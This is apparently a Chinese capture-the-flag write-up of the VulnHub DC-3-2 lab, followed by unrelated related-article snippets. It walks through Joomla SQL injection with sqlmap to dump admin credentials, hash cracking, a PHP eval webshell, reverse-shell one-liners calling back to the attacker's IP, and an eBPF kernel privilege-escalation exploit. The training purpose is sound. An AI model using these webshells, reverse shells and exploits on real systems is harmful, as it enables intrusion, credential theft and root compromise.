Vulnhub靶场DC-3-2练习
目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 0x03 漏洞查找与利用
- 1. joomla漏洞查找
- 2. SQL注入漏洞
- 3. 破解hash
- 4. 上传一句话木马
- 5. 蚁剑连接shell
- 6. 反弹shell
- 7. 提权
- 0x04 总结
0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-3-2.zip
介绍:
As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.
重点:只有一个flag。
0x01 主机信息收集
两台机器都是NAT模式。
执行命令:ifconfig
kali本机的ip:192.168.179.128,网卡eth0
发现目标主机ip:netdiscover -i eth0 -r 192.168.179.0/24
目标主机ip:192.168.179.129

探测目标主机开放端口:nmap -sS -sV -n -A -p- 192.168.179.129
只开放了80端口,运行的Apache2.4.18服务,并且使用了Joomla!的CMS。

0x02 站点信息收集
访问这个站点,看一下基本信息,基本前面都获取到了。

看一下站点目录:dirsearch -u 192.168.179.129 -e *

发现了后台入口:192.168.179.129/administrator

这个cms不能确定版本。
一个思路是访问上面扫描出来的目录:192.168.179.129/README.txt

另一个思路是用这个cms相关的扫描工具进行扫描,执行命令:joomscan -u "http://192.168.179.129"

通过以上两种方法,都可以得到cms的版本是joomla3.7.0。
0x03 漏洞查找与利用
1. joomla漏洞查找
执行命令搜索相关的漏洞:searchsploit joomla 3.7.0

有个sql注入的漏洞,查看一下42033.txt:cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27Using Sqlmap:sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]Parameter: list[fullordering] (GET)Type: boolean-based blindTitle: Boolean-based blind - Parameter replace (DUAL)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)Type: error-basedTitle: MySQL >= 5.0 error-based - Parameter replace (FLOOR)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
2. SQL注入漏洞
根据上面给出的相关信息,URL Vulnerable就是存在漏洞的点,将localhost换成是目标主机的ip:http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
(27%是URL编码中的单引号)
用浏览器访问上述地址。

再去掉单引号访问一下:http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml

可以看到访问两个不同的链接页面回显不一样,并且返回了SQL相关的报错,说明 list[fullordering]这个参数确实存在和数据库的交互,存在SQL注入漏洞。上面也给出了Sqlmap的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
其中:–risk=3指定测试的风险等级;–level=5指定检测的等级,这时会检测HOST头,包含的payload最多;–random-agent会从从sqlmap自带的文本文件中随机选择一个user-agent,不带这个参数时sqlmap有个默认的User-Agent,当 --level设置为3或者更高时,sqlmap会自动检测User-Agent是否存在注入漏洞;–dbs是枚举数据库的名字;-p是指定扫描的参数,这里是list[fullordering] 。
用sqlmap跑一下上面的语句,跑的过程中有三次询问:


最后可以看到有五个数据库的名字。使用 --current-db 来获取当前数据库的名字,完整的sqlmap语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --current-db

当前数据库是 joomladb,再用 -D joomladb --tables 来跑表的名字,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables
通过上面的语句可以跑出来一个#__users 表。

再用 -D joomladb -T “#__users” --columns 来跑列的名字,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" --columns
跑的过程中有三次输入:
第一次:you have not declared cookie(s), while server wants to set its own (‘460ada11b31d3c5e5ca6e58fd5d3de27=vn4pjqvr2pp…covug51rl0’). Do you want to use those [Y/n] \y
第二次:do you want to use common column existence check? [y/N/q] y
第三次:please enter number of threads? [Enter for 1 (current)] 2
结果如下:

可以看到有username列和password列,再用 -D "joomladb" -T "#__users" -C "name,password" --dump 来跑这两列的内容,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" -C "name,password" --dump

用户名:admin
密码:$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
3. 破解hash
密码是一段加密的hash,可以用kali自带的john来破解这段hash。
将这段密文存入a.txt文件中,再利用命令john a.txt来查看结果。

4. 上传一句话木马
得到密码为snoopy。利用admin/snoopy登录后台http://192.168.179.129/administrator/。
多浏览一下,可以找到一个上传php文件的地方。路径:Extensions-Templates-Templates的Beez3

这里可以创建一个php文件。

先选择html这个目录,就可以在这个目录下面创建木马文件,后面比较好找路径。填写好创建的文件的名字,和文件类型,点击create。

输入文件内容:<?php @eval($_POST['123']);echo "Hello 123"; ?>
点击左上角的save按钮。

Joomla的目录结构中,templates是模板文件夹,直接存在于根目录下。我们创建的木马文件是beez3这个模板的html目录下的。所以木马文件的路径考虑是:http://192.168.179.129/templates/beez3/html/123.php。访问一下,页面回显 Hello 123,说明访问成功。

5. 蚁剑连接shell
用蚁剑连接一下目标服务器。(上下编码都选择base64)

6. 反弹shell
连接上以后,右键打开终端。
在kali中监听4444端口,执行命令:nc -lvvp 4444
在服务器的终端中执行命令:nc -e /bin/bash 192.168.179.128 4444
结果目标服务器的nc没有-e。

考虑其他的反弹shell的方式。
在获取webshell的情况下,常用的反弹shell的方式:
# 本地监听4444 端口
ncat -lnvp 4444# 服务端反弹(命令中都是本地的ip)
nc -e /bin/bash 192.168.179.128 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.128 4444>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.179.128 4444>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.179.128/4444 0>&1
找个不用-e的。
在服务器的终端执行命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.128 4444>/tmp/f

在kali中可以看到监听端口成功。

进入交互式shell,执行命令:python -c 'import pty; pty.spawn("/bin/bash")'

7. 提权
依旧是先看有没有可以利用的命令,执行:sudo -l
没有权限,需要密码。

换个思路,考虑linux系统内核相关的漏洞。
查看linux内核版本:uname -a
查看linux发行版本:cat /etc/issue
是2016年的Ubuntu 16.04。

在kali中另外打开一个终端,搜索相关的可以利用的漏洞脚本,执行命令:searchsploit ubuntu 16.04
虽然有很多,但是尝试了以后发现39772最好用。(Privilege Escalation 特权升级)

查看使用文档,执行命令:cat /usr/share/exploitdb/exploits/linux/local/39772.txt
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:/* look for pseudo eBPF instructions that access map FDs and* replace them with actual map pointers*/static int replace_map_fd_with_map_ptr(struct verifier_env *env){struct bpf_insn *insn = env->prog->insnsi;int insn_cnt = env->prog->len;int i, j;for (i = 0; i < insn_cnt; i++, insn++) {[checks for bad instructions]if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {struct bpf_map *map;struct fd f;[checks for bad instructions]f = fdget(insn->imm);map = __bpf_map_get(f);if (IS_ERR(map)) {verbose("fd %d is not pointing to valid bpf_map\n",insn->imm);fdput(f);return PTR_ERR(map);}[...]}}[...]}__bpf_map_get contains the following code:/* if error is returned, fd is released.* On success caller should complete fd access with matching fdput()*/
struct bpf_map *__bpf_map_get(struct fd f)
{if (!f.file)return ERR_PTR(-EBADF);if (f.file->f_op != &bpf_map_fops) {fdput(f);return ERR_PTR(-EINVAL);}return f.file->private_data;
}The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.There are two problems with this approach:The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.An exploit that puts all this together is in exploit.tar. Usage:user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)This exploit was tested on a Ubuntu 16.04 Desktop system.Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
告诉我们可以使用exp提权,并且给出了下载链接。
在kali中下载,执行命令:wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

解压:unzip -n 39227.zip ,-n可以不覆盖原有的文件。

解压以后发现有两个压缩文件,从命令中可以看出,提权工具应该在exploit.tar中。
我这里想在kali本机把文件解压,然后再利用蚁剑上传到目标主机的,上传的时候发现权限不允许。所以还是将exploit.tar这个文件,通过蚁剑上传到/var/www/html/templates/beez3/html目录下。

在蚁剑的目标服务器终端中,解压上传的文件,执行命令:tar -xvf exploit.tar

再根据 39772.txt 给出的提示。
进入目录:cd ebpf_mapfd_doubleput_exploit
再执行: ./compile.sh
再执行: ./doubleput


0x04 总结
主机信息收集:
- netdiscover发现目标主机ip。
- nmap探测目标主机的开放端口和服务。
站点信息收集:
- dirsearch探索站点目录,发现后台入口。
- 确定cms版本joomla3.7.0。
漏洞利用:
- searchsploit搜索joomla相关漏洞CVE-2017-8917。
- sqlmap跑数据库,得到管理员的名字和密码。
- john破解hash。
- php一句话木马。
- 反弹shell。
- 利用linux内核相关漏洞提权。
相关文章:
Vulnhub靶场DC-3-2练习
目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. joomla漏洞查找2. SQL注入漏洞3. 破解hash4. 上传一句话木马5. 蚁剑连接shell6. 反弹shell7. 提权 0x04 总结 0x00 准备 下载链接:https://download.vulnhub.com/dc/DC-3-2.zip 介绍&#…...
Swift入门笔记
Swift入门笔记 简单值控制流函数和闭包对象和类枚举和结构体并发协议和扩展错误处理泛型 简单值 // 声明变量 var myVariable 42 myVariable 50// 声明常量 let myConstant 42// 声明类型 let implicitInteger 70 let implicitDouble 70.0 let explicitDouble: Double 7…...
【提交ACM出版 | EIScopus检索稳定 | 高录用】第五届大数据与社会科学国际学术会议(ICBDSS 2024,8月16-18)
第五届大数据与社会科学国际学术会议(ICBDSS 2024)将于2024年08月16-18日在中国-上海隆重举行。 ICBDSS会议在各专家教授的支持下,去年已成功举办了四届会议。为了让更多的学者有机会参与会议分享交流经验。本次会议主要围绕“大数据”、“社…...
Postman与世界相连:集成第三方服务的全面指南
🔌 Postman与世界相连:集成第三方服务的全面指南 Postman不仅是API开发和测试的强大工具,还支持与多种第三方服务的集成,从而扩展其功能,提高开发和测试的效率。本文将深入探讨如何在Postman中集成第三方服务…...
Perl 语言开发(十四):数据库操作
目录 1. 数据库连接 2. 基本数据库操作 2.1 插入数据 2.2 查询数据 2.3 更新数据 2.4 删除数据 3. 高级查询 3.1 多表连接 3.2 子查询 3.3 聚合查询 4. 事务处理 5. 数据库连接池 6. 常见的数据库模块 7. 综合实例 结论 数据库操作是大多数软件系统的核心部分。…...
Qt+ESP32+SQLite 智能大棚
环境简介 硬件环境 ESP32、光照传感器、温湿度传感器、继电器、蜂鸣器 基本工作流程 上位机先运行,下位机启动后尝试连接上位机连接成功后定时上报传感器数据到上位机,上位机将信息进行处理展示判断下位机传感器数据,如果超过设置的阈值&a…...
Android Viewpager2 remove fragmen不生效解决方案
一、介绍 在如今的开发过程只,内容变化已多单一的fragment,变成连续的,特别是以短视频或者直播为主的场景很多。从早起的Viewpage只能横向滑动,到如今的viewpage2可以支持横向或者竖向滑动。由于viewpage2的adapter在设计时支持缓…...
桃园南路上的红绿灯c++
题目描述 XXX非常讨厌等红绿灯,于是他仔细观察了桃园南路与科技路交叉口的一个红绿灯的周期。 从七点半开始,这个红绿灯的每个周期会按照下面四个阶段变化: 先保持 x 分钟的红灯然后保持 y 分钟的黄灯然后保持 z 分钟的绿灯最后保持 y 分钟…...
有关去中心化算路大模型的一些误区:低带宽互连导致训练速度太慢;小容量设备无法生成基础规模的模型;去中心化总是会花费更多;虫群永远不够大
目录 有关去中心化算路大模型的一些误区 低带宽互连导致训练速度太慢 挑战与解决方案 展望 小容量设备无法生成基础规模的模型 1. 模型规模与设备内存 2. 解决方案 3. 效率挑战 FSDP(Fully Sharded Data Parallel) Zero-3 去中心化总是会花费更多 虫群永远不够大…...
uni-app iOS上架相关App store App store connect 云打包有次数限制
app store上架成功,亲测在苹果开发者通过审核后在数小时内app store是不会更新的,昨天4点多通过审核,在下班六点半时app store仍未更新,早上来看更新了。 相册权限 uni-app云打包免费有次数 切换一个账号继续...
python单测框架之pytest常见用法
单测框架的作用 测试发现:从多个文件中寻找测试用例。测试执行:按照一定顺序去执行并且生成结果。测试断言:判断最终结果与实际结果的差异。测试报告:统计测试进度、耗时、通过率,生成测试报告。 pytest简介 pytest是…...
[终端安全]-8 隐私保护和隐私计算技术
1 隐私保护相关法规和标准 1)国内法规和标准 1.1)中华人民共和国网络安全法(2017年) - 规定了个人信息的保护和数据安全的基本原则。 - 要求网络运营者采取措施防止数据泄露、篡改和丢失。 1.2)信息安全技术&#x…...
MySQL 日志深度解析:从查询执行到性能优化
引言 MySQL 日志是数据库管理员和开发者的宝贵资源,它提供了查询执行的详细情况,帮助我们诊断问题和优化性能。本文将深入分析一个具体的 MySQL 日志条目,解释其含义,并提供针对性的优化建议。 日志信息概览 让我们先来快速了解…...
sql server 练习题5
课后作业 在homework库下执行 作业1: 案例:根据用户分数划分等级。小于60分为不及格,[60,80)为及格,[80,90)为良好,大于等于90分以上为优秀。 建表语句: CREATE TABLE Grades ( ID INT PRIMARY KEY, Name V…...
ai伪原创生成器app,一键伪原创文章效率高
如今,在自媒体创作的领域,ai伪原创生成器app的出现,给写作带来了一种全新的方式和效率。ai伪原创生成器app通过使用先进的自然语言处理技术和深度学习算法,能够将原始文章进行重组和改写,生成新的文章,从而…...
【ZhangQian AI模型部署】目标检测、SAM、3D目标检测、旋转目标检测、人脸检测、检测分割、关键点、分割、深度估计、车牌识别、车道线识别
在模型部署落地(主要部署到rk3588)折腾了这么多年,把这些年折腾过的模型整理了一下,所有的流程说明、代码模型都完全开放的,欢迎交流学习。有的是为了项目、有的是为了学习、还有的是为了找点事做、有的完全是为了安抚…...
DROO论文笔记
推荐文章DROO源码及论文学习 读论文《Deep Reinforcement Learning for Online Computation Offloading in Wireless Powered Mobile-Edge Computing Networks》的笔记 论文地址:用于无线移动边缘计算网络在线计算卸载的深度强化学习 论文代码地址:DR…...
修BUG:程序包javax.servlet.http不存在
貌似昨晚上并没有成功在tomcat上面运行,而是直接运行了网页。 不知道为啥又报错这个。。。 解决方案: https://developer.baidu.com/article/details/2768022 就整了这一步就行了 而且我本地就有这个tomcat就是加进去了。 所以说啊,是不是&a…...
python常用库
目录 from sklearn import metrics:评估 编辑 svm: 编辑 逻辑回归预测 编辑 朴素贝叶斯分类 编辑 主成分分析 编辑 其实就是求b.T的协方差阵 编辑 【因子分析,因子旋转有点复杂,略】 【层次聚类,原理…...
【UE5.3】笔记11
一、变量的SET&&GET 1、创建变量保存数据,如下图,找到左侧我的蓝图下的变量,新增一个,并选择类型。使用的时候直接将变量拖到蓝图中,此时会显示两个选项一个是获取一个是设置。 选择获取就是个GET蓝图&#x…...
Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
3.3.1_1 检错编码(奇偶校验码)
从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...
渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...
回溯算法学习
一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...
NPOI操作EXCEL文件 ——CAD C# 二次开发
缺点:dll.版本容易加载错误。CAD加载插件时,没有加载所有类库。插件运行过程中用到某个类库,会从CAD的安装目录找,找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库,就用插件程序加载进…...
